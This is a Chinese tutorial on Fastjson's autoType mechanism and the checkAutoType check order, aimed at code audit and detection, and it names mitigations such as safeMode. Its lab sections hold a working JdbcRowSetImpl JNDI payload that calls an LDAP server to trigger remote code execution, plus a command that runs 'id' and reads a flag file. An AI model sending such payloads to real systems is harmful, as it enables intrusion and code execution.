Fastjson 漏洞 · 02 · autoType 机制与 checkAutoType

引子:为什么"同一个 payload"在不同版本时灵时不灵

只从网上抄 payload,很容易遇到这种困惑:同一个

复制代码
{"@type":"com.sun.rowset.JdbcRowSetImpl", ...}

有人说"能打",有人说"早修了",还有人说"要加 L...; 才行"。这些说法都可能是对的,取决于版本。 而版本之所以重要,是因为 Fastjson 在 1.2.25 引入了一个"守门函数"------它决定了哪些类名能被加载。之后长达数年的攻防,全部是在和这个函数博弈。

这也是本系列最想建立的能力:不是记住"哪些 payload 能打",而是看懂"守门函数怎么放行、什么时候会误放行"。

在真实工作中,这个能力直接对应两类任务:

  • 代码审计 / 渗透 :看到 JSON.parse(userInput) 或 autoTypeSupport=true,立刻能判断"这里是不是可利用、大概能怎么利用";

  • 应急 / 检测 :看到日志里的 autoType is not support. xxx,知道攻击者走到了哪一步、下一步可能在试什么。

本篇要点:

  1. checkAutoType 的判断顺序是怎样的?为什么"顺序"就是漏洞?

  2. autoTypeSupport、白名单、safeMode、expectClass 各是什么?谁最彻底?

  3. 为什么"查缓存"排在"查黑名单"之前会出事?

  4. autoType is not support 这个报错,具体说明检查停在了哪一步?


一、先给结论:一次带 @type 的解析会经过什么

当 Fastjson 在 JSON 里读到 @type(键名默认是 JSON.DEFAULT_TYPE_KEY,值为类名)时,它不是立刻 Class.forName 就完事,而是会走一个守门函数:

复制代码
ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features)

Java 说明:

  • ParserConfig:Fastjson 的"解析配置类",保存 autoType 开关、黑白名单等设置。

  • checkAutoType(...):它的方法。typeName 是待检查的类名(来自 @type);expectClass 是"当前期望的类型"(可为 null);features 是特性位标志。放行则返回 Class,否则抛异常。

  • int features:用整数位表示一组开关(位运算),用来传递各种解析选项。

只有守门函数放行,才继续去加载类、创建对象。所有的绕过,本质都是在研究"守门函数在什么情况下会误放行"。

守门函数的核心判断(按 1.2.x 源码逻辑概括,顺序很关键):

  1. 类名规范化 :去掉开头的 L、结尾的 ;(Java 的类描述符写法),把 / 换成 .。

  2. 查缓存(mappings) :如果这个类名之前被显式登记过(TypeUtils.addMapping / ParserConfig 缓存),直接放行------这是一条快路径,也是 1.2.47 缓存的成因。

  3. 查黑名单 :命中 denyList / denyHashCodes(如 com.sun.rowset.JdbcRowSetImpl、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 等一大批),直接拒绝 ,抛 autoType is not support。

  4. autoType 总开关 :如果没有开启 autoType(autoTypeSupport=false 且类不在白名单),也拒绝。

  5. expectClass 例外 :如果当前解析"期望的类型"已知(expectClass != null),且目标类是其子类/实现,则可能放行------这是 1.2.68 ExpectClass 绕过的来源。

  6. 加载并缓存 :通过 TypeUtils.loadClass 用类加载器加载,返回 Class。

注意第 2 步在检查之前:只要能让一个危险类名进入缓存,就能跳过黑名单。 这就是经典的 "cache bypass"。


二、三个状态开关

理解版本差异前,先记住三个开关:

开关 含义 默认值(1.2.x)
autoTypeSupport 是否允许 @type 自动加载任意类(受黑白名单约束) 1.2.24 及更早为 true ;1.2.25 起为 false
白名单 acceptList / addAccept 显式允许的类/包前缀 空
safeMode 彻底禁止 autoType(黑白名单都不看) 1.2.68 引入,默认 false

开启 autoType 的几种常见方式(很多真实系统为了"兼容"会这么做,风险也随之而来):

复制代码
// 代码里开启
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
​
// 启动参数开启(不少老系统/中间件这么干)
// -Dfastjson.parser.autoTypeSupport=true

开启白名单(相对安全):

复制代码
ParserConfig.getGlobalInstance().addAccept("com.mycompany.model.");

开启 safeMode(最稳):

复制代码
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或 -Dfastjson.parser.safeMode=true

逐词拆解这三段代码:

  • ParserConfig:一个类("图纸"),负责 Fastjson 的解析配置------autoType 开关、黑白名单都归它管。

  • getGlobalInstance():ParserConfig 的方法 ,返回全局唯一 的那个配置对象(这种"整个进程只有一个"的设计叫单例)。所以改它,等于改整个进程的解析行为。

  • setAutoTypeSupport(true):配置对象上的方法;参数 true 表示"打开"autoType,false 表示"关闭"。

  • addAccept("com.mycompany.model."):把某个包名前缀加入白名单;参数是字符串。

  • setSafeMode(true):打开安全模式,彻底禁用 autoType。

  • 连起来读:"取出全局配置对象 → 调用它的某个开关方法"。

  • // -Dfastjson.parser.autoTypeSupport=true:这是启动参数写法,含义见下面的"通用概念"。

贯穿全文的通用概念(后面不再重复解释):

  • 类 / 对象 :类=图纸(如 ParserConfig),对象=按图纸造出来的实例(即 getGlobalInstance() 返回的东西)。

  • 方法 :类或对象能执行的动作,写作 名字(参数);没有参数就写 名字()。

  • true / false:布尔值,表示"开/真"与"关/假"。

  • -D名字=值(启动参数) :Java 启动时用来设置系统属性 ,程序里用 System.getProperty("名字") 读取;大量框架开关都靠它传入。命令行里写成 java -D名字=值 -cp ... 主类。

  • TypeUtils.loadClass(name, loader, cache):用类加载器把类名加载成 Class;cache=true 会把它登记进缓存(04 篇缓存绕过的基础)。

  • TypeUtils.addMapping(name, clazz):手动往缓存登记"类名 → Class"。因为检查逻辑先查缓存,缓存就成了绕过入口。


三、@type 在 JSON 里长什么样

最常见的三种写法:

复制代码
{"@type":"com.example.User","name":"tom"}          // 对象,指定类
{"@type":"[com.example.User",...] }                 // 数组,以 [ 开头
{"@type":"Lcom.example.User;","name":"tom"}         // 类描述符写法 L...;

Fastjson 解析到对象开头的 @type 时,会:

  1. 把它当作 typeName;

  2. 如果是 "@" + "type" 之外的默认键(可用于自定义 typeKey),也支持;

  3. 调用守门函数;放行后加载类、走 ObjectDeserializer。

记住:L...; 和 [... 这些"奇怪写法"不是 Fastjson 特意支持的语法,而是解析器在做"兼容/规范化"时的处理,恰恰被用来绕过检查。


四、把守门函数拆开:一次合法解析 vs 一次攻击

场景 A:正常业务(指定目标类型)

复制代码
User u = JSON.parseObject(json, User.class);   // 目标类型确定

此时即便 JSON 里有 @type,只要它不是 User 或其子类,会被拒绝。这也是为什么"用 parseObject(json, XXX.class) 指定类型"比 JSON.parse(json) 安全得多。

场景 B:危险写法(不指定类型)

复制代码
Object o = JSON.parse(json);   // 目标类型未知 -> expectClass=null

expectClass 为空时,第 5 步的例外失效,只能靠 autoType 开关和白名单------如果开关被打开或存在缓存,就危险了。

靶场对照:

复制代码
B=http://192.168.143.156:8080                        # 靶场地址
# 1.2.24 默认就危险
cd /opt/fastjson-lab && ./start.sh 1.2.24 8          # 启动 1.2.24(该版本 autoType 默认开启)
curl -s -G "$B/parse" --data-urlencode \
 'data={"@type":"java.util.HashMap","x":1}'          # 用 @type 指定 HashMap,观察是否被实例化

预期输出:

复制代码
OK: {x=1}

不依赖脚本的手动等价操作 (start.sh 所做的就是下面这一条 java 命令):

复制代码
cd /opt/fastjson-lab
mvn -q -B package                                            # 首次:编译靶场
/opt/jdk8/bin/java \
  -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
  -Dlab.cmd="id > /tmp/fastjson-pwned.txt 2>&1; cat /flag-fastjson >> /tmp/fastjson-pwned.txt 2>&1; echo FASTJSON-JNDI-RCE-OK >> /tmp/fastjson-pwned.txt" \
  -cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
  com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &
# 换版本:把 classpath 里的 fastjson-1.2.24.jar 换成目标版本即可
# 停止:pkill -f 'com.lab.fastjson.FastjsonLab'

五、黑名单为什么是"打地鼠"

Fastjson 的 denyList(及后续基于 hashCode 的 denyHashCodes)里包含大量已知危险类,例如:

  • com.sun.rowset.JdbcRowSetImpl(触发 JNDI)

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(定义字节码)

  • 各类 org.apache.*、java.lang.AutoCloseable 相关 gadget......

问题在于:

  • 黑名单只能覆盖"已经公开的" gadget;

  • 只要换一个依赖库里的等价类(例如另一个能触发 JNDI 的工厂类),黑名单就失效;

  • 更糟的是,黑名单判断可能因为缓存、类名变形、expectClass 等被绕过。

因此官方在 1.2.68 引入了 safeMode,在 1.2.83 又做了 autoType 行为变更,最终建议迁移到 fastjson2


六、版本演进一览

版本 关键变化 对攻击的影响
≤1.2.24 autoType 默认开启 直接 @type 打
1.2.25 引入 checkAutoType + 黑名单,autoType 默认关闭 必须绕过
1.2.41 / 1.2.42 修 L...; 绕过及其变体 换写法
1.2.47 出现 java.lang.Class 缓存绕过 通用性极强的绕过
1.2.62~1.2.68 黑名单加固;1.2.68 引入 safeMode、ExpectClass 绕过开始依赖特定依赖/上下文
1.2.80 特定依赖下仍可绕过(官方公告) 补丁未彻底
1.2.83 修复该绕过,建议升级/迁移 通用 payload 基本失效
2.x (fastjson2) 重写,不再为兼容保留白名单,默认更安全 需显式注册才支持 autoType

七、在靶场上观察"检查逻辑"

复制代码
ssh root@192.168.143.156          # 登录实验机
cd /opt/fastjson-lab              # 进入靶场目录
​
# 1.2.24:direct 直接成功
./start.sh 1.2.24 8               # 启动 1.2.24
curl -s -G "http://127.0.0.1:8080/parse" --data-urlencode \
 'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}'   # 发送 JdbcRowSetImpl → JNDI 链
# => ERROR: com.alibaba.fastjson.JSONException: set property error, autoCommit
#    (需先启动 /opt/jndi-server;报错是正常的,JNDI 已触发、RCE 已发生)
​
# 1.2.83:同样的 payload 被守门函数拦下
./stop.sh; ./start.sh 1.2.83 8    # 结束旧进程并切换到 1.2.83
curl -s -G "http://127.0.0.1:8080/parse" --data-urlencode \
 'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}'   # 发送同一份 payload
# => ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl

不依赖脚本的手动等价操作(切换版本=换 classpath 里的 jar,然后重启进程):

复制代码
cd /opt/fastjson-lab
# 1.2.24:启动
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
  -Dlab.cmd="id > /tmp/fastjson-pwned.txt 2>&1; cat /flag-fastjson >> /tmp/fastjson-pwned.txt 2>&1; echo FASTJSON-JNDI-RCE-OK >> /tmp/fastjson-pwned.txt" \
  -cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
  com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &
# ...发送第一组请求...
pkill -f 'com.lab.fastjson.FastjsonLab'; sleep 1
# 1.2.83:仅把 classpath 换成 fastjson-1.2.83.jar,再次启动
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
  -cp "target/fastjson-lab.jar:lib/fastjson-1.2.83.jar" \
  com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &
# 两次都请求 /parse(即 JSON.parse),对比返回即可看出守门函数的行为差异

看到 autoType is not support. <类名> 这句报错,就说明守门函数在这里拦住了------分析绕过时,这句话是第一线索。

对应验证结果:

版本 端点 payload 结果
1.2.24 /parse JdbcRowSetImpl → JNDI RCE(返回 set property error,但 JNDI 已触发、命令已执行)
1.2.83 /parse 同上 blocked(autoType is not support. com.sun.rowset.JdbcRowSetImpl)

八、自测

  1. checkAutoType 的判断顺序里,为什么"查缓存"放在"查黑名单"之前会出问题?

  2. autoTypeSupport 和白名单、safeMode 三者是什么关系?哪个最彻底?

  3. 为什么 JSON.parse(json) 比 JSON.parseObject(json, User.class) 危险?

  4. autoType is not support. xxx 这个报错说明检查走到了哪一步?

  5. 用简要的话解释:为什么"黑名单"天生打不过"绕过"?

相关推荐
无限码力1 小时前
小红书笔试真题 9.17 - 待发热度重排(C++/Py/Java /Js/Go)
java·小红书·小红书笔试真题·小红书技术岗笔试真题
卓怡学长1 小时前
w194基于ssm新能源汽车充电系统小程序
java·小程序·intellij-idea
JAVA面经实录9171 小时前
Java高级后端 · 全套面试通关手册(MySQL)
java·mysql·面试
光依旧2 小时前
MCP实战手记(八):从“能跑“到“能上线“——无状态MCP Server的生产落地清单
java·人工智能·spring boot·架构·ai agent·mcp
弹简特2 小时前
【Java项目-企悦抽】15-活动管理模块02-活动创建测试与活动列表实现
java·开发语言·springboot
斯内普吖2 小时前
(开源)水果蔬菜商城实战指南 基于 Java + SSM + Vue + MySQL
java·vue.js·mysql·开源
wang_shu_mo_ran3 小时前
Spring IoC和DI概念篇
java·后端·spring
小狼154543 小时前
拼多多订单数据导出 CSV 实战:接口分页、字段平铺与 5 个数据坑,多多开票助手
java·前端·javascript